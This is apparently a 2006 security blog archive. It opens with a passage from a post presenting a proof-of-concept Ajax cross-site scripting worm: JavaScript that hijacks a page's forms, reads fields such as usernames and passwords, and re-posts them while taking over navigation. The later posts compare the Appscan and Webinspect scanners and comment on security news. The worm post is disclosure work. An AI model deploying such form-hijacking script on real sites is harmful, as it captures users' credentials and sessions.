This function is called when a user tries to submit a form. As all the forms are hijacked and replaced with submit_form function of the javascript, when the user clicks on submit button, this function is called with the id of the form which was already replaced at the time of hijacking. Based on that id, the script loads all the forms and its elements. It then calls the post_attacker function which submits the values to the server, captures the response and displays on the user window and hijacks any links or forms in the new html code. For the sake of this demo, when you enter a username and password on the login page and clicks on submit, then the script displays the values on the screen before calling the post_attacker function.
function submit_form(form_id)
{
//get the form element from the id.
var form = document.getElementById(form_id);

//This is where the form values are displayed when the user presses the submit button.
var form_submit = document.getElementById('form_element');
form_submit.innerHTML = "These values will be submitted to " + form_id + "
";

//All the parameters have to be in the format of name=value to be able to submit to the server.
var post_url = "";

//Iterate through every element of the form.
for(var i = 0; i < form.length; i++) {
var line = form.elements[i].name + " = " + form.elements[i].value +;
form_submit.innerHTML += line + "
";
post_url += line;

//Multiple name=value have to be separated with &
if(i+1 < form.length)
post_url += "&";
}

//post it to the server.
post_attacker(form_id, post_url);
}

//Code to submit the form dynamically
function post_attacker(url, parameters) {

//Create a POST connection to the url.
ajax_request.open("POST", url, false);

//Set the header values.
ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");

//Send the parameters
ajax_request.send(parameters);

//Load the response from the server into the document’s body
if(ajax_request.readyState == 4 && ajax_request.status == 200) {
var response_text = ajax_request.responseText;
document.body.innerHTML = response_text;

//Hijack all the links and the forms.
collect_links();
collect_forms();
}
}


As you can see, it is so easy to create a worm with the help of Ajax, which controls all the communication between the user and the server. Whatever link a user clicks on or submits a form, everything is passed through the worm script. It also has the capability to make changes to the data before it gets submitted to the server or before it gets loaded in the user browser after it is received from the server.

This is just a proof of concept to reiterate how deadly a combination of cross site scripting and Ajax can be. Currently this is limited to the same site as we cannot make cross domain Ajax requests just yet. With cross domain Ajax requests, the implications could be far more dangerous. I am not against having cross domain requests in Ajax but if and when they do allow it, they should consider the security implications as well and if possible suggest solutions or scenarios which a developer should consider while using cross domain Ajax requests.


To look at the demo of the Proof of concept, please go to http://www.attacklabs.com
To download the source code, go to http://www.attacklabs.com/download/ajax_worm.zip

Monday, November 20, 2006

Correction - Comparison between Appscan and Webinspect

In my last posting, i discussed about some of the difference between appscan and webinspect. Ory Segal from watchfire pointed out a few areas which could have been interpreted wrongly as well. I have made changes to the original post and i am posting it separately for those who have already read it or if it is stored in cache somewhere.


  • View the actual attack during a scan session: Webinspect displays the actual attack string on the status bar during the scan and also if a vulnerability was found whereas in Appscan you can only view if there was a vulnerability found.


  • Vulnerabilities: Appscan found more vulnerabilities with more variants in a scan as compared to Webinspect. One other difference between the two products in terms of vulnerabilities is if there are 200 pages with same vulnerabilities, Appscan will display 1 vulnerability but can drill down to all the 200 pages whereas Webinspect will display as 1. Having said that, Appscan still detects more types of vulnerabilities then Webinspect.


  • What if webapp stops responding during scan: If your webapp stops responding during the scan, Webinspect displays an error and pauses the scan, so you can fix the problem and resume the scan later. Though appscan does the same but since the pause button is not on the toolbar and is as a dropdown it get a little confusing.



For comments and feedback, please email me at anurag.agarwal@yahoo.com

Friday, November 03, 2006

Comparison between Appscan vs Webinspect

Last month I got a chance to evaluate the two popular vulnerability assessment tools Webinspect and Appscan and I wanted to share my findings with others. As you will notice, currently I have published only few technical comparison I will add more to it sooner. This comparison is strictly between Appscan 6.5 and Webinspect 6.2. Both the companies have since come with a beta release of a new version of their products and this comparison may not be valid for their new versions.
The evaluation was done on a dynamic web application with approx 1800 web pages.

  • Scan duration: On a website of approx. 1800 pages, Appscan took around 6 hours whereas webinspect took more then 12 hours (i had to stop it there as it would have taken a lot more time). Then i removed post-data injection from the list of attacks and the entire scan was completed in approx 4 hours.

  • Ability to pause a scan: Both the tools give you an ability to pause a scan and restart later.

  • Save a partial scan and restart later: Both the tools allow you to save a partial scan and restart it later.

  • What if webapp stops responding during scan: If your webapp stops responding during the scan, Webinspect displays an error and pauses the scan, so you can fix the problem and resume the scan later. Though appscan does the same but since the pause button is not on the toolbar and is as a dropdown it get a little confusing.

  • Change the network in the middle of a scan session: While a scan is in progress, if you want to pause it and resume from your home over a vpn connection, Appscan lets you resume the scan without any problems whereas Webinspect gave me an error. Though I just tried it once, I am not too sure if this is a problem with Webinspect. You can check it on your own if you're going to need this feature.

  • Maximum thread that can run simultaneously: Appscan has maximum of 10 threads whereas Webinspect has 75. You can customize the number of threads you want to run simultaneously. However, if you use more then 15 threads in Webinspect, it becomes very resource intensive.

  • Pick and choose attacks for a scan session: Both Appscan and Webinspect lets you do that.

  • Skip an attack while the scan is in progress: Webinspect lets you skip an attack while the scan is in progress whereas Appscan doesn't.

  • View the actual attack during a scan session: Webinspect displays the actual attack string on the status bar during the scan and also if a vulnerability was found whereas in Appscan you can only view if there was a vulnerability found.

  • Customize the order of attack for a scan session: Neither of the product lets you customize the order of scan. So, if you want to run Cross site scripting and SQL injection first then you will have to create a new scan session and just opt for these two attacks and remove all others from the list.

  • Custom attack scripts: Both Appscan and Webinspect lets you create a custom attack script as a macro. Webinspect however lets you create a custom attack agent using VB script.

  • Vulnerability Database updated: Both the product update their vulnerabilities regularly.

  • Vulnerabilities: Appscan found more vulnerabilities with more variants in a scan as compared to Webinspect. One other difference between the two products in terms of vulnerabilities is if there are 200 pages with same vulnerabilities, Appscan will display 1 vulnerability but can drill down to all the 200 pages whereas Webinspect will display as 1. Having said that, Appscan still detects more types of vulnerabilities then Webinspect.

  • Login module at the start of scan:Appscan lets you record a login sequence as a macro whereas Webinspect gives you more options. It lets you record a login sequence as a macro or enter the authentication credentials in the tool itself. The problem however with entering the authentication credentials inside the tool is that if they are wrong, Webinspect does not detects them as wrong and goes ahead with the scan and hence may not scan the entire site. In the other scenario, if you are using macro to record the login sequence, then Webinspect records the complete login and logout sequence whereas Appscan only records the login sequence.

  • Bookmark of follow up flag on a specific attack during a scan session: None of the tools currently have this feature.

  • External tools: Both the products have additional tools bundled with them. Watchfire's power tools are not integrated with Appscan and can be downloaded and used separately. Appscan, however, provides a framework where external tools can be invoked from within Appscan. Webinspect on the other hand, have more tools and all of them are tightly integrated within the product. Webinspect does not allows you to invoke an external tool from within the application.

  • Appscan scans for certain infrastructure vulnerabilities (like Apache, IIS, etc) whereas Webinspect does not.


This is by no means a complete report. I will add more points to it sooner so please check back again. Also, if there is something additional you would like to see in this report or if you would like to add to this report or even make changes to this report, please email me at anurag.agarwal "at" yahoo.com. I also got a chance to look at the beta release of Appscan 7.0 and Webinspect phoenix release and if you are looking to purchase one of these two products then I would strongly recommend looking at their beta releases of new versions.

Thursday, October 26, 2006

Don't let your Web app help spammers

We've all been plagued by unsolicited commercial email -- also known as spam. In fact, the Washington Post reported that spam may soon account for half of all U.S. email traffic.
Lets look at ways on how we can protect our email address from the spammers.
read the complete article here

Wednesday, October 11, 2006

How Ajax makes it easier to steal information from your clipboard

Cut Copy Paste has always been an important part of our digital life. Developers, as well as regular users, can't live without it. Regular users use it routinely to copy and paste information such as passwords and credit card numbers from one form to another. Office employees use it all the time when creating documents. There's no denying our reliance on the Copy and Paste functionality of the clipboard.

How would you feel if that information were stolen out of your computer?

read the complete article here

Sunday, October 08, 2006

Taking the battle to the phishers

"University of Illinois at Chicago is working with some financial institutions (he can't say which) on the anti-phishing agent, so there is commercial interest. "We'll be providing them complex code, user names, and passwords," he says. "And they will be able to see the phishing traffic" and disable it and track the phishers for eventual prosecution, for instance. "

This would be really interesting. So far we have seen few approaches including that of building a database of phishing sites. Though that is a slow and evolving process, but not good enough to stop phishing attacks. This anti phishing agent may just be the answer to provide quick solution to phishing attacks.

read the complete article here

Friday, October 06, 2006

Court OKs NSA wiretapping

http://www.wired.com/news/wireservice/0,71911-0.html?tw=wn_technology_security_3

"The Bush administration can continue its warrantless surveillance program while it appeals a judge's ruling that the program is unconstitutional, a federal appeals court ruled Wednesday."

"The program monitors international phone calls and e-mails to or from the United States involving people the government suspects have terrorist links. A secret court has been set up to grant warrants for such surveillance, but the government says it can't always wait for a court to take action."


Are they monitoring only what they have mentioned here?

Is Microsoft changing?

http://wired.com/wired/archive/14.10/microsoft.html

Something different from security but if all the chief security architect could be as Ray Ozzie, 75% of the security attacks we are seeing today wont be possible at all.

How safe is “hacker safe”

ID Thieves Turn Sights on Smaller E-Businesses

This article raises so many questions but the biggest of them all is how effective are these sites which are providing this kind of “hacker safe” services and who is to verify what level of services they are providing. For all we know, it’s just a false sense of security as we found out in this case. The companies, who are totally not aware of what to do about information security, get sucked into these kinds of services and are at the mercy of hackers.

Google victim of click fraud

This time it was google’s turn to play victim of click fraud.

http://www.theregister.co.uk/2006/10/06/google_adsense_worm/

RE: Privacy group takes US to court over email spying

post: http://www.theregister.co.uk/2006/10/06/eff_sues_us_govt/

What I would like to know is if US govt. can state it for the record, that they are only using it to monitor terrorist communications and NOTHING ELSE. They have claimed that they are using it to track terrorist communications but I don’t know if they have said only terrorist communication and nothing else?

Wednesday, October 04, 2006

To open source or not to open source

Yahoo allows outsiders to innovate on Yahoo e-mail

Yahoo has decided to open the underlying code of yahoo mail to outside programmers. Now this can be a good thing and a bad thing. Of course we will see a lot more applications built on top of yahoo mail, but then it is a also a nightmare from the security point of view. On one side, since the source code is allowed access they are more vulnerable to attacks. On the other hand, how secure will be the newer applications which are going to be integrated with yahoo mail.